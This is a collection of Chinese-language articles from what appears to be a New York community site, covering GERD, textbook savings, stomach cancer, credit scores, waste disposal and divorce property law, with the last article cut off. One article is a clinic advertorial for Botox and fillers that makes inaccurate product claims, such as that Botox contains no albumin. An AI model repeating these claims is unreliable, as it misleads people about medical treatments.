在胃与食道接口的地方有一个叫贲门的地方,贲门这有一块环状的肌肉叫贲门括约肌。不吃食物的时候,贲门括约肌处于收缩的状态。在进食有吞咽动作的时候,贲门括约肌自动舒张,使食物能够进入胃里。食物通过后,贲门括约肌自动收缩,就像进入胃的门合上了,保证了胃里的东西不会返到食道里,使食道里永远保持碱性的环境。

胃食道逆流的患者的贲门括约肌是处于松弛状态。有人是天生就松弛,而有人是后天由于各种原因造成的贲门括约肌松弛。还有一种叫贲门裂孔疝的先天疾病,就是患者的膈食管裂孔过大,使胃能通过这个裂孔进入胸腔,也能引起胃食道逆流。

有一些食物容易造成贲门括约肌舒张,比如巧克力、糖、辛辣的食物、烟、酒、高脂肪的东西、咖啡里面的咖啡因等。还有一些药物也能引起括约肌舒张,比如一些抗高血压的药物等。所以有胃食道逆流症状的患者在饮食上要注意一下,尽量避免或少吃以上提到的那些食物。

2021-04-25 / by / in
在美国上学 教科书太贵 教你省钱的技巧

文|雨荷

美国大学的费用高尽人皆知,可是到底因为什么高呢?其中占大比例且容易令人忽视的开销就是教科书费。美国大学理事会估计,每个学生每学期在教科书上的平均费用超过1200美元。上一学年从公立大学全日制本科生收取的平均净学杂费为4,140美元。可见,光教材费就占到了1/4。

Cengage教育机构的首席执行官迈克尔·汉森(Michael Hansen)告诉CNBC make it学习平台:学生在申请学校时会考虑学费,但经常会忘记考虑教材费,当得知这笔不小的数字后,压力更大!根据Cengage对1,651名在校大学生进行调查,有85%的人认为课本和课程材料的支出让自己肩负压力且,而43%的人表示,为了付清这些费用,快要吃不起饭了。

如何节省这笔教材费就显得尤为重要了。您可以通过以下12种方法来获得廉价的教科书

教科书 示意图。

1.购买二手教科书

可以在亚马逊上购买手教科书,价格非常友好。也可以查找一些在线二手书网站,选择需要的书籍;大学附近的商店通常会在每学期末收到不少教科书。您也可以尝试通过二手书店或慈善商店进行筛选您需要的教科书。

2.从以前的学生那里购买便宜的教科书

在学校询问高一年级的学生。那些已经完成课程的人,肯定会有您需要的课本,并且也会很乐意将其出售给有需要的学生。当在同个人手中购买多本书时,还可以讨价还价,得到更多的优惠。

3.在线阅读免费的大学教科书

在Google学术搜索中搜索书籍标题,几乎总是有几章可供预览。说不定刚好可以幸运的获得你需要的页面,

要获得更多的免费赠阅,您可以在Open Library, Project Gutenberg 或Google Books上的书籍上注册账号。这些网站都提供在平板电脑及笔记本上在线预览。

如果您注册了Amazon Prime(学生可以获得六个月的免费注册时间),您可以无限制地访问Prime Reading,并选择成千上万本书籍查阅。

同样也不要忘记,每所大学都有可以访问大量学术期刊的在线图书馆,这些都是值得获取知识的途径。

4.订阅

学生可以注册订阅服务。

Cengage提供年度无限订阅服务,价格为$ 179.99。学生可以访问成千上万的在线教科书和课程资料。如果您愿意支付运费,他们还可以免费租用任何书籍。

另一个可以提供订阅的教科书服务的是培生(Pearson),收费为每学期90美元,该课程侧重于交互式课程材料。

学生应线检查自己的教科书是否包含在此类订阅服务中,这可能会为他们每学期节省数百美元。

订阅的教科书 示意图。

5.尝试教科书交换网站

图书换站点拥有成千上万本图书的图书馆(并且藏书在不断变化),包含大量学术书籍。

您只需要建立个人资料,发布一些您愿意交易的书名,并从阅读清单中寻找这些文本。

一些受欢迎的网站包括BookMooch和BookCrossing

6.在教科书上寻找学生折扣

大多数书店都会为学生提供折扣,即使您没有看折扣广告,也可以去询问,万一有了呢,不就又省下一笔不小的开支。

正如上文所提到,您可以使用Waterstones Plus学生卡在Waterstones上享受5%的折扣,而在UNiDAYS上花费25英镑或以上可享受10%的折扣。

独立的书店网络Hive也有学生折扣计划,适用于16-25岁的学生。您将获得优惠券代码从而享受10%的书籍折扣。

7.在线购买教科书

在网上有些很多严重低廉的价格的书籍,Amazon和eBay等网站的有些教科书有些甚至将价格跌到荒谬的一分钱。不过不要忘记考虑邮费。Amazon一些二手物是不提供免邮服务的。

学生可以获得六个月的免费Amazon Prime –在这里注册。

8.下载电子书

如果您有电子阅读器,如kindle,可以使用eBook形式获得需要的书籍刊物,不光价格相对便宜,还更加环保。

即使您没有电子阅读器,也可以在笔记本电脑,iPad或智能手机上阅读电子书。

电子书的一个额外好处是,您不必在书包里堆满沉重的书,当您在完成论文时,搜索关键字的功能将节省您很多宝贵时间。

9.从大学图书馆借书

大学图书馆是免费的学习资源,里面充斥着与课程内容相关的书籍。所以为什么不充分利用起来呢。

同样值得一看的还有当地的图书馆。或许也有您需要的内容。

大学图书馆 示意图。

10.与朋友分享教科书

可以与同学共享教科书降低成本。虽然教科书的影印本是非法的,但分割教科书的保管权并没有错。一起学习知识,一起减少开支。

11.将大学书籍退还给商店

如果您已经买了一本书并且保存完好,您可以随时将其退回。且不必为此感到内疚,如果书籍状态良好,将会交接到下一位学生手中。如此循环使用,传递知识。

Blackwell’s 有一个计划来回购您的uni教科书,您可以获得40%的书店购买券或33%的回收金额。

但是,他们对回收书籍的检查非常严格。书籍必须处于原始状态,并且必须是最新版本。

12.出售旧教科书

学期结束后,可以将保存尚好的教材折价转售给低年级学生。传递知识的同时,传递美德。

 

2021-04-24 / by / in , , , , , , ,
美国BOTOX、乔雅登玻尿酸、激光祛斑 常青医美帮你逆龄 找回青春美丽

文|医美小伙伴

除皱、瘦脸、祛斑,想要美丽动人,你找对地方了!现代人生活步调紧凑、压力爆棚,人一忙皮肤就跟着出状况!想要随时光采动人,迅速见效的医美成了现代女性拯救肤况的特效药。高价的眼霜擦了一罐又一罐、眼角的鱼尾纹依旧清晰可见,你…累了吗?别担心,让医美来拯救你!随着医美科技的进步,除了免动刀和快速见效外,更具备术后恢复期短的优点。以下医美小夥伴为你介紹纽约医美專家:常青医美带来时下最热门的医美疗程项目:美国BOTOX、美国乔雅登玻尿酸、激光祛斑,替你的美丽随时把关!

美国BOTOX:瘦脸除皱,快速见效、安全不留伤口。(常青医美诊所)

纽约医美專家:美国BOTOX瘦脸除皱

纽约的医美專家——常青医美診所介紹:在众多的医美疗程中,BOTOX(保妥适)肉毒素总是榜上有名,原因正是因为其快速见效、安全不留伤口的特点,轻松就能达到有效除皱、小脸的效果,且效果通常可维持4~6个月。

美国BOTOX适用范围

鱼尾纹、口周纹、川字纹、颈纹、抬头纹、法令纹、瘦脸、瘦小腿、瘦肩、祛除腋臭等。

美国BOTOX三大保障

  1. 产品纯度更高、效果更好

BOTOX肉毒素是全球纯度最高、最不容易引起面部僵硬的A型肉毒杆菌,而且产品经过美国PDA及GMP严格认证,是唯一在临床应用方面有近20年历史,超过一千万次成功案例的美容填充产品。

  1. 独特配方,产品稳定性好

经对照实验,BOTOX稳定性是世界上同类产品中最好的,常温下放置一周至一个月,活性基本不下降。

  1. 产品安全性好,不会产生过敏性反应

BOTOX肉毒杆菌选用深海生物提取的小分子多糖为保护剂,不含白蛋白和大分子动物蛋白明胶,既没有血液制品带有病毒的危险,也没有大分子动物蛋白容易产生过敏反应的缺点。

美国BOTOX:纯度最高、稳定性好、安全性佳,效果可维持4~6个月。(常青医美诊所)

美国BOTOX维持时间

BOTOX需要做持续性的注射美容,效果通常可维持4~6个月,因此最好一年注射两到三次,帮助永久性定型。另外,主诊医生会根据求美者的真实情况,确定最佳注射剂量和注射部位,保证效果的同时确保安全。

美国乔雅登玻尿酸:量身打造精致五官、澎润肌肤,无需动刀、安全性高。(常青医美诊所)

纽约医美專家:美国乔雅登玻尿酸 量身打造精致五官、澎润肌肤

全方位替消费者打造完美脸型,玻尿酸的脸部雕塑范围广而细致:从填补泪沟、去除法令纹到隆鼻、丰唇、丰下巴等,都能立即见效,且无需动刀、安全性高。

美国乔雅登玻尿酸适用范围

除皱、塑形、抚平面部凹陷、长效保湿。

美国乔雅登玻尿酸四大特点

  1. 乔雅登(JUVÉDERM)玻尿酸是首个被美国FDA批准、疗效可维持长达18个月的玻尿酸。
  2. 世界独有的HYLACROSS专利技术,产生单相不含颗粒的均质透明质酸凝胶。
  3. 乔雅登是稳定而粘结的三维基质,具有很强的凝聚力,在外力作用下不容易变形以及移位。
  4. 乔雅登是当下同类产品中唯一含有麻剂的美容产品,能够为顾客减轻治疗时的痛感。

美国乔雅登玻尿酸:从填补泪沟、去除法令纹到隆鼻、丰唇、丰下巴等,都能立即见效。(常青医美诊所)

乔雅登玻尿酸主要功效

  1. 除皱:有效针对额、眉间、鱼尾、下睑、鼻唇沟、口角、颈等皱纹,尤其对其它疗法不易解决的鼻唇沟纹有很好疗效,注射完即刻看到惊喜的效果。
  2. 塑形:可无创解决隆鼻、丰唇、丰下巴、丰耳垂等问题,玻尿酸塑形是一种完美面部轮廓的新型方法,其无需开刀,见效快,安全性高。
  3. 抚平面部凹陷:丰颞部、丰面颊、丰颧部、丰太阳穴,平复凹陷性疤痕,利用玻尿酸填充脸颊、太阳穴、眉骨、眼窝凹陷,平复凹陷性疤痕等,可达到立即改变容貌的效果。
  4. 长效保湿,轻松锁住肌肤水份:玻尿酸的保湿效果是胶原蛋白的16倍,它不但能锁住肌肤内的水分,还能将外在环境的水分子抓住,维持皮肤水嫩紧致状态。

纽约医美專家:激光祛斑(Laser freckle)除斑

适用范围

去除雀斑、咖啡斑、日晒斑、老年斑、太田痣、伊藤痣、纹身等。

想要快速解决恼人的斑点,不妨试试激光祛斑!激光可以作用于不同的皮肤组织,只要采用特定的光源就可以保证只对色斑产生作用,而不会影响到正常的皮肤组织。同时激光的瞬间能量强、可有效震碎色素粒子,使其粉碎成非常小的颗粒,加速人体的代谢排出,进而达到优异的除斑效果。

激光祛斑(Laser freckle):能有效除斑,只对色斑产生作用,不会影响到正常的皮肤组织。(常青医美诊所)

激光祛斑注意事项

  1. 一般情况下,年龄越小,皮肤越薄,病灶相对越浅,修复吸收能力越强,治疗次数越少,治疗效果越佳。
  2. 激光治疗色斑需多次进行治疗。黄褐斑一般需5次左右,咖啡斑需1~3次,雀斑、老年斑大多1次即可。每次治疗间隔1~2个月。
  3. 痂皮脱落前不宜剧烈活动和化妆,勿强行撕掉痂皮。
  4. 部分患者可能出现色素沉着,多在数月内自行消失。
  5. 治疗时,医生和患者都要防护好眼睛。
  6. 激光治疗色素病变,不会对机体造成不可逆损伤。
  7. 尽可能选在春、秋、冬季进行治疗。
  8. 尽可能到正规的专业医院或诊所,选择具有资质的专业医生进行治疗,以保证安全性和有效性。

除上述疗程外,常青医美诊所的特色项目,还有瑞士profhilo逆龄提升针、嗨体祛颈纹、6D小脸针、定制美丽 6D童颜线雕、面部水光针、下颌缘提升、祛除双下巴、激光无痛永久脱毛、点阵激光祛痘坑痘印等。

欢迎到常青医美诊所,帮你量身打造面部的黄金比例、完美肤质,重启美丽能量。

常青医美诊所,帮你量身打造面部的黄金比例、完美肤质,重启美丽能量。(常青医美诊所)

纽约医美專家:常青医美诊所6大优势

  1. 品质塑造,精雕细琢,私人订制。
  2. 国际化:中美加有多家连锁的医疗美容机构。
  3. 团队成员:团队是国内外顶级的整形团队。
  4. 技术实力:在国际上有很强的技术实力。
  5. 100%反馈:提供微信、简讯、电话、微博等联系方式。
  6. 资质认证:医生获得美国、中国、加拿大的认证。

常青医美诊所医疗环境

常青医美诊所给你舒适、自在、安全的环境。(常青医美诊所)

常青医美诊所给你舒适、自在、安全的环境。(常青医美诊所)

紐約法拉盛 常青医美诊所

客服电话:+1(718)808-5758

诊所地址:131-07 40th Rd., Suite E.07B, Flushing, NY, 11354

Skyview Wellness Medical Center(天景医疗中心)

网址:https://us-evergreen.com/

客服微信:USA0041

常青医美诊所微信:USA0041。(常青医美诊所)

 

2021-04-24 / by / in , , ,
如何清除幽门螺旋杆菌/胃癌预防/法拉盛肠胃科专家荆彤医生为您解答

如何清除幽门螺旋杆菌

中国人中至少有20%-30%的人感染了幽门螺旋杆菌,而这些细菌在胃内容易引起胃溃疡,甚至诱发胃癌。如何有效清除幽门螺旋杆菌?请法拉盛肠胃科专家荆彤医生为大家做详细说明。

胃里面是一个强酸(PH值可以达到1,也就是纯盐酸的酸度)的环境,大部分生物都经受不了这样的环境,唯独幽门螺旋杆菌能在胃里面存活,可见其顽强的生命力。幽门螺旋杆菌之所以能在如此强酸的环境里存活,是因为它自身能分泌一种碱性物质,把自己包围起来。要想消除这些细菌,需要三种以上药物的配合使用。如果不能按照医生的嘱咐按时服药,漏吃忘吃,吃吃停停,那么杀死这些细菌的机会就会变得很小。

为什么幽门螺旋杆菌难以清除?

人类近年来在疾病治疗方面大量使用抗生素,加上世界上人口的增加,人类吃的鱼类、肉类食物很多是靠养殖来提供。鱼类、家禽、牲畜在养殖过程中,也都大量摄入抗生素。人类吃了这些含有大量抗生素的食物后,容易产生耐药性。

治疗幽门螺旋杆菌,要使用那些不太常见的抗生素。这些不常见的抗生素,一方面不太容易找到,另一方面,因为使用得少,从盈利方面考虑,药厂也很少生产。即使生产了,价格也通常很高。因为这些药物价格高,保险公司不包,通常还要去特别申请批准才行。别看是杀死这些小小的细菌,还是要费一番周折才能实现。

在此荆彤医生奉劝大家,在清除幽门螺旋杆菌的过程中,一定要遵医嘱按时服药,争取一次就把细菌消灭掉。

 

2021-04-24 / by / in ,
中国人为什么容易得胃癌/纽约肠胃科专家荆彤医生为您解答

中国和东南亚地区是胃癌的高发地。人们不禁要问:胃癌与哪些因素有关?如何及时发现?如何预防胃癌?纽约肠胃科专家、荆彤肠胃中心的创办人荆彤医生在这里为大家解答。

荆彤医生认为,胃癌的出现可能有遗传的因素,还有一个很重要的原因,就是这些地区感染幽门螺旋杆菌的人数非常多。有统计说,中国人有一半感染了幽门螺旋杆菌。实际人数可能没有这么多,但保守估计至少有20%~30%的人感染了此病菌。

现在科学已经证实幽门螺旋杆菌会诱发胃癌。2005年的诺贝尔医学奖就颁发给三个医生(两个美国医生和一个澳大利亚医生),他们发现了幽门螺旋杆菌和胃癌之间的关系。这三个医生在做研究的时候很有牺牲精神。他们把细菌培养出来以后喝下去,相当于把自己做成一个模型。在随后的胃镜检查中发现,他们先后都出现胃溃疡症状。如果胃溃疡不予治疗,时间久了就会诱发胃癌。我们在看诊过程中也经常发现大陆或东南亚地区过来的移民,这个幽门螺旋杆菌都是比较高发的。一旦发现,就会给患者开药从而清初掉这些细菌。

为什么幽门螺旋杆菌这么可怕?

幽门螺旋杆菌具有传染性,尤其在自己家里,家人之间会传来传去。家族成员中如果发现有人感染了此病菌,建议其他亲属都去做一个检查。因为这个细菌是通过食物来传播的。这不是说食物本身有这个细菌,而是带有这种细菌的人和你一起吃饭,把你的食物给污染了。

80%的感染了这种细菌的人没有症状,所以传播也是不易察觉。有些已经查出来感染了此病菌的人不明白为什么需要治疗,因为他没有任何感觉,没有觉得身体不适。幽门螺旋杆菌生命力很强,不容易杀死,所以要严格按时服药才有治疗效果。有的病人吃了两三天药觉得没什么改变自己就把药停了。中国人常说:“是药三分毒”,所以一般不喜欢吃药,尤其是身体没有病的感觉就更不愿意吃药了。但是治疗幽门螺旋杆菌如果不按时服药,或擅自停药,对带菌者本人来说,容易诱发胃癌,还容易传染给身边的家人。不按时服药还有一个坏处,就是这个细菌经过抗生素的考验后,产生耐药性,以后更难治疗。所以建议病人要遵医嘱按时服药。

中国人饮食习惯可能导致胃癌高发?

中国人胃癌高发还有一个原因是中国人的饮食习惯。中国人喜欢吃腌渍食品、酱菜、泡菜。这些食品是通过微生物作用,放的时间很久,处理不好容易有细菌污染,产生很多亚硝酸盐的代谢产物,这些东西已经被证实会诱发肿瘤。食物先被吃进胃里,容易诱发胃癌。所以建议少吃以上提到的几种食品,尽量吃新鲜的食物为好。

为什么中国人40岁以后就应该开始做胃镜检查?

美国白人的胃癌的比例很小,所以对这个胃镜检查也就没有给予重视,也没有规定说40岁就要求做胃镜检查。在荆彤医生从美国医学院毕业后在美国近20年的行医过程中,所发现的胃癌病例大部分都是从中国和东南亚过来的。美国本土的人,尤其是白人,得胃癌的极少。美国本土的人肠癌比较高发,所以有规定50岁以后就要做肠镜检查。因为美国人得胃癌的很少,所以美国医生也不会想到建议你去做胃镜检查来进行胃癌的筛查。除非你自己胃部已经感觉到不舒服了,你跟医生讲了,他才可能建议你做胃镜检查。

中国人由于特定的饮食习惯和种族的特点,胃癌比较高发,因此建议在40岁以后,即使没感觉到身体不适,也要开始做第一次胃镜检查。如果你已经感觉到胃不舒服了,那么就更要提早做胃镜检查。

胃镜检查主要检查哪些项目?

主要是检查胃内有无幽门螺旋杆菌,有没有出现胃溃疡,有无肠上皮化生。如果检查后发现有以上问题,就要及时治疗处理。和自己的肠胃科医生积极配合,随时观察病情的变化,采取相应措施阻止病情进一步发展。

 

2021-04-23 / by / in , ,
美国信用评分 Credit Score 最全解析 信用评分怎么计算?怎样快速提高信用分数?
文|无疆行者

在美国生活,拥有良好的信誉是非常重要的。如果你能够充分的重视信用历史记录(credit history),保持较高的信用分数(credit score),会给你带来很多意想之外的实惠和便利。你的个人目标和财务目标更加容易实现。

为什么良好的信用评分很重要

拥有较高的信用评分,更容易获得重要贷款(例如房屋抵押贷款或汽车贷款),有资格享有最低的利率。Fair/Average 的信用分数与 Very Good / Excellent,拿到的房贷利率可能会相差0.5 %,如果是在房价较高的地区,比如华府、NYC、湾区,100万的房子,30年fixed rate贷款80万,30年下来的总还款额大约会相差8万5千美元。

(usa.gov/政府官方网站)

信用评分也可能会影响非贷款事项,例如房东是否会同意向您出租公寓。一些雇主在做出雇用或晋升决定之前可能会先查看您的信用报告。而且,在大多数州,保险公司可能会使用基于信用的保险评分来确定汽车,房屋和人寿保险的保费。

信用评分的组成

想要提高信用评分,第一步就要先了解信用评分的组成。以FICO信用分数为例,主要由五个方面的内容组成:

还贷历史记录(payment history)
贷款总额(amounts owed)
信用历史长度(length of credit history)
信贷类型(credit mix)
新开信贷账户(new credit)

(cathaybank)

还贷历史记录、有否在缴费限期前付清帐单(即付款纪录)对信用评分影响最大,占35%。还贷历史记录包含所有信用卡账户、车贷房贷或学生贷款等分期付款账户、公司信用账户、金融公司账户以及一些公共记录等等的还款情况,是否准时还贷、有没有迟交或者欠款不还的情况。

总信用额度利用情况(信用卡或个人信用额度等循环帐户)占 30%。通常借贷总额占信用额度比例低,信用分数就会越高。理想的情况是,信用额度利用率低于总信用额度的 30%。比如您总的信用额度是1,000元,如果想改善信用评分,那实际使用的额度不应超过300元。

组成信用评分的其它三个要素为信用历史记录时间(15%)、账户多样性(10%)及新开信贷账户 (10%)。

放款者更偏好以时间较长的信用账户为参考,因为这类账户能证明良好的信用记录。同时,他们也乐于见到各式各样的信用类型,因为这代表消费者能同时灵活管理多种账户。

至于新开信贷账户,只要有人查询您的信用报告,都会留下记录。

用户每次申请信用卡或者其他信贷账户的时候,银行或者信贷机构都会对用户的信用报告/信用分数做一次硬性查询(俗称hard pull)。Hard pull 一般需要本人授权,记录会在信用报告上保持两年,但FICO分数只会考虑近一年以内的hard pull 次数。如果在短期内开通好几个新账户,短时间内有多次hard pull 记录的话,信用分数就会被拉低。

用户查询自己的信用报告/信用分数,或者雇主做背景调查用的查询,又或者信贷机构在非用户主动申请的情况下(例如pre-approved/预先批准的信用卡或贷款等)所做的查询,则属于软性查询(俗称soft pull),soft pull 并不会影响信用分数。

查询自己的信用报告或者分数并不会拉低信用分数。

信用分数和等级

(consumerfinance.gov/官方网站)

美国的信用分数是各个机构根据Experian、Equifax 和 TransUnion 三家出具的信用报告明细,通过一定公式计算出来的、比较通俗易懂的、评定个人信用好坏的标准。现时美国最为普遍通用的是由Fair Isaac Corporation公司(FICO)制定的FICO Score 信用评分模型。

约有90%的美国大银行及信贷机构都会使用FICO分数作为个人信用分数的评估标准。常见的FICO分数在300-850之间,分数越高代表用户信用越好,在信贷机构眼中批出贷款的风险就越低。申请信用卡或者贷款都更容易获得通过,并且可以拿到更低的利率与更多优惠。

(usa.gov/政府官方网站)

以 FICO 信用分数和等级为例说明:

信用分数大致可分为「很差]、「还行]、「很好]、「优秀 J 和「优异]五个等级:

• 580 以下属于「很差」的信用分数,在申请信用卡、车贷、房贷,甚至租房的时候,都会给你带来麻烦,银行可能拒绝你的申请;有些房东也不会把房子租给你、担心你未来拖欠房租。

• 580-739 属于「还行」和「很好」的信用分数,有些信用产品会拒绝,有些会批准、但是不会给你最好的利率。

• 740-799 属于「优秀」的分数,在申请车贷和房贷的时候很容易批准,并且可以拿到很好的利率。

• 800以上属于「优异」的信用分数,基本上申请任何信用产品都会批准、能拿到最好的利率。

如何提高信用分数?

• 尽早申请信用卡,以获得更长的历史记录。

刚来美国、没有信用记录和历史,可申请:

1).押金信用卡。难度最低。

2).专门针对国际学生的信用卡 Deserve Edu : 0年费、1%返现,最重要的是无需 SSN !

3).新人神卡 Discover :这是很多人在美国的第一张信用卡, 0年费、有返现、对信用分数要求低。

(usa.gov/政府官方网站)

• 尽快多申请几张信用卡。每次申请都会调用你的记录,「信用查询」会增加、略微降低你的信用分数。但随着时间流逝,「账户总数」增加,得分会更高;而「信用查询」只追溯两年,其负面影响会越来越小。

• 最早开的卡不要取消。信用记录逐步建立之后,你能申请到额度更高、条件更好的卡,但是不要因此就取消了最初申请的那些额度低、可能没有任何返点的信用卡,否则你的信用记录会变短。长期持有的卡,最重要的是没有年费。

信用卡使用额度不要太高,最好控制在 1%—10%之间、不要超过20%。如果透支太多,可以提前还一部分,不要等到还款日期的时候才自动还款,因为信用分数更新的周期和你的信用卡还款周期可能不一样。

购买房屋或汽车这种大宗商品,分期付款、准时还款,信用会涨得很快。条件许可的时候,还可以申请一些其他的金融服务,如学生贷款、车贷、房贷等。不过,如果你的信用分数还很低,申请这些贷款可能被拒。

不要迟交水电费、电话费、医疗费…
不要小看这些一般来说并不会出现在信用报告上的账户,如果发生了欠费的情况,过一两个月这些账目就会被转到追债公司(colletor)手上,然后这个欠债账户(collection account)就会被上报到信用报告上面去,即使还清了欠款,这个曾经欠债的记录也会保留7年!

怎么查信用分数

1, http://www.creditkarma.com/credit karma 是个完全免费的信用分查询网站,你甚至都可以每天查询自己的信用分数,当然是 soft pull,不会影响你的信用分数的。 credit karma 从TransUnion 调出你的信用数据,用FAKO的方式计算出的分数。这种FAKO的计算方式和收费才能查到的FICO分数有一定的差异,FICO分数是一般银行用来考察你信用纪录所用的分数, 但是FAKO分数与之差异不大,所以一般用用没有问题。

2. http://www.creditsesame.com/credit sesame是一个跟上面的credit karma类似的网站,不过他们调用的是你Experian信用社的数据。Experian、Equifax和 TransUnion的分数都会不一样。然后申请信用卡的时候,银行会调用你一家或者几家的信用分数。

3. 如果你有Discover的卡,你的每月的statement上面会有你的FICO分数。

4. https://www.credit.com 每个月可以查询一下自己的信用报告,不是具体的分数, 是ABCD的分档和对应的分数范围,有信用报告。

5. https://www.quizzle.com/每6个月可以查询一次,有信用分和对应 的credit grade, 详细的信用报告。

6. https://www.annualcreditreport.com/cra/index.jsp 美国法律规定每个人每年可以向以上三家信用纪录公司的每一家免费索取一份你的信用纪录(不包括信用分数和等级,这两项需要另外交费)。因为一年只能要一次,所以需要时要讲技巧。因为这三家公司的纪录都是差不多的,所以你不用一次把三家的都要来,而是分成每四个月要一家的,这样你就可以保持追踪你的信用记录。

行者希望这篇文章能对新来美国的华人朋友们有所帮助,请持续关注金牌资讯网。

本文的内容不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯的专业人士。

 

 

2021-04-23 / by / in , ,
纽约垃圾处理不当违法 这18条建议一定要看

文|雨荷

纽约市卫生部门的垃圾处理量很惊人。DSNY是世界上最大的卫生部门,每天收集超过10,500吨的生活垃圾。生活垃圾种类繁多,其中包括油漆和电子产品,家用电器。如果您违反处置法,则可能会面临传票和最高数百美元的罚款。因此,住在纽约丢垃圾也是一门学问啊!

为什么不应该将危险产品丢弃在垃圾箱中?因为如果处理不当,则诸如电子产品,溶剂,易燃液体和汽车产品之类的家居物品可能会造成危险。这些材料不仅会污染纽约市的水道,还会严重危害环卫工人和垃圾填埋场的员工。

电子垃圾。

从2015年1月起,丢弃诸如手机,电视,显示器,笔记本电脑,MP3播放器和视频游戏机之类的电子产品是违法的。许多电子设备(例如电话和MP3播放器)携带重金属(例如汞,铅,锂和其他物质),这些金属在被焚化时会污染空气,或者被扔入垃圾填埋场会污染生态系统。

为了防止有害物品危害人类健康,请不要将这些物品扔进垃圾桶,以及如何处理的提示。

1.可充电电池

在将电池丢进垃圾箱之前,先检查一下要扔哪种电池是至关重要的。根据美国农业部(USDA)林业局的数据,需要将包含镍镉和铅酸的可充电电池带到特殊设施中。

2.灯泡

永远不要将荧光灯灯泡丢到垃圾箱中。根据美国环境保护署(EPA)的报告,荧光灯灯泡中含有汞,当汞释放到环境中时,会对汞造成严重损害。请查看Earth911,以找到可以帮助您回收旧荧光灯的服务。正确地回收它们之后,这些灯泡制成的材料(例如玻璃和金属)就可以成功地重新利用(并且不会对大气造成任何损害)。

3.油基涂料

油性涂料垃圾的处理。

如何正确处置涂料取决于涂料的成分。乳胶漆需要在特殊的废物处理场处置,您可以使用Earth911进行定位。对于油性涂料,只要将它们与吸收性材料混合并吸收,就可以将少量与家庭垃圾一起丢弃。如果您要处理大量的油基涂料,则需要联系私人承包商来收拾并妥善处理。

4.机油

机油像打火机油一样易燃,因此是危险废物。除了将这种液体带入危险废物处理设施之外,您还可以将其带到当地的汽车维修店,以便对其进行正确使用。

5.旧笔记本电脑

笔记本电脑不要扔进垃圾桶,因为它们会毒化汞,铅和铬等化学物质。如果您的计算机仍在运行,可以以旧换新的程序在此过程中获利;如果您的笔记本电脑完全不能用,商店免费提供电子回收服务。

6.智能手机和平板电脑

就像笔记本电脑一样,其他手持式电子产品也可能包含有毒物质。如果您有不再使用的手机或平板电脑,则可以将其带到Staples,然后根据情况将其回收或换成现金。

7.未使用的药物

如果药物处理不当,它们最终可能会进入供水系统。美国药物管制局(DEA)在全国范围内举办了国家处方药回收活动,您可以在这里安全处置未使用药物。而且,大多数市政当局还设有管制物质公共处置场所,这些场所全年都向公众开放。

也就是说,有些方法可以在家中摆脱药物的使用。只要没有列出具体的处置说明,联邦药物管理局(FDA)就会指出您可以将药物与不可食用的东西混合使用,例如猫砂或灰尘。然后将混合物放入塑料袋中,然后扔掉。

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药物垃圾的处理。

8.刀子和工具

刀不用不要将其简单地放入垃圾桶。将不需要的刀具捐赠给当地的汤厨房或旧货店(只要他们接受它们作为捐赠)。但是,如果对方不接受,请在您所在的地区找到一个废旧金属回收站。

旧的铁锹和耙子,旧货店通常会很乐意将这些工具从您手上拿下来并放在架子上。其次,Earth911指出:“废金属是您可以回收的最有价值的产品之一。”

9.松散的碎玻璃

在处理方面,玻璃和刀子遵循相同的规则。像这样的物体可能会切伤某人,因此在将其放入垃圾箱之前,需要先将其存放在柔软的东西中或请将其密封在一个盒子中、包装在几张报纸中,然后将其放入垃圾中。

10.邮件

所有邮件是可回收的。但是由于信用卡公司,医生等发出的信件中包含了所有有价值的信息,因此安全公司LifeLock指出:“您的邮件可能是身份盗窃者的重要目标”。粉碎并回收您的邮件,即使它是垃圾邮件也是如此。

11.头发造型工具

根据无毒未来,电气产品包含有害化学物质,例如铅,铬和镉,这些化学物质被丢弃后,“可能会逸出产品并污染空气”。

Earth911指出:“卷发器,吹风机和其他类似的头发用具可以回收为废金属,而不必扔掉。” “尽管这些设备不能放在路边的回收箱中,但在收集废金属的任何地方都可以接受。”

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电器垃圾的处理。

12.旧衣物

您是否想知道扔掉的衣服会发生什么?根据EPA的数据,2015年,美国有1050万吨纺织品最终被填埋垃圾场。由于这些成堆的衣物不可生物降解,因此最终造成了对环境的污染。有一种叫做纺织品回收的东西可以完全避免这种情况。可以把衣服放在收集箱,以环保的方式进行回收。

13.太空加热器

如果您的太空取暖器主要由塑料制成,并且不含任何有害物质,则可以将其与家庭垃圾一起处理;如果加热器主要由不含任何有害流体的金属制成,则可以将其带到废金属中心进行回收;如果加热器中确实包含有害物质,那么您需要将其带到危险废物处理设施中以进行安全维护。

14.墨盒

不要扔掉旧墨盒。如果您在Staples购买墨水或碳粉,那么您也可以在Staples对其进行回收。另外,您也可以将墨盒带到Costco并重新填充墨水,这样可以为您节约一部分资金。

15.旧家电和床垫

您可以将冰箱或烘干机放在楼下,有需要的拿走;在商店购买电器时,请询问销售人员他们是否提供拆卸服务。大多数公司会从您手中拿走不需要的物品,有时可能是免费的。

不要的床垫可用塑料包好,放在门外。

将床垫用塑料袋装好,放在路边以便路人取走,相反,直接把垫子放在路边会被罚款。例如,纽约市警告说,没有塑料外的床垫会吸引臭虫并处以100美元的罚款。

16.旧自行车

旧自行车,即使是坏的,各地的慈善机构也会很高兴的将旧自行车回收。在纽约,自行车回收站会翻新旧自行车并将其捐赠给社区中的年轻人;在旧金山,踏板革命(Pedal Revolution)使用旧自行车教当地青年如何制造和修理自行车。

17.旧锅碗瓢盆

大多数锅具都是金属制成的,因此可以回收利用,当炊具被刮伤且无法使用时,将其带到当地的废旧金属回收设施。

18.旧书

旧书可以捐赠给您所在地区有当地图书馆,《更好的世界图书》(Better World Books)在全国范围内接受捐赠,该组织从出售捐赠的图书中获得的部分利润将用于资助非盈利性扫盲组织。

 

2021-04-23 / by / in , , , ,
在美国离婚的财产分割 怎样保护父母赠送的财产
文|无疆行者

美国的“结婚、离婚法”有三个特点:一是最大程度保护儿童利益,二是财产分割的天平较倾斜向女性,三是对出轨的一方多一些惩罚。

在美国离婚的财产分割

美国有10个州对已婚家庭财产实行“共同财产”法律保护。这10个州包括:亚利桑那州、加州、爱达荷州、路易斯安那州、内华达州、新墨西哥州、德州、华盛顿州、威斯康星州,阿拉斯加虽然也实行“共同财产”,但需男女双方同意。在这些州,男女结婚后,不论一方是否工作,男女双方在婚姻期间的财产,所赚的钱或者是债务,是双方所共有。

美国还有40个州实行的是公平财产法律,在婚姻期间,男女谁赚的钱、谁积累的财产就归谁所有,但在离婚时不是按照谁拥有多少财产来划分,而是考虑很多因素。

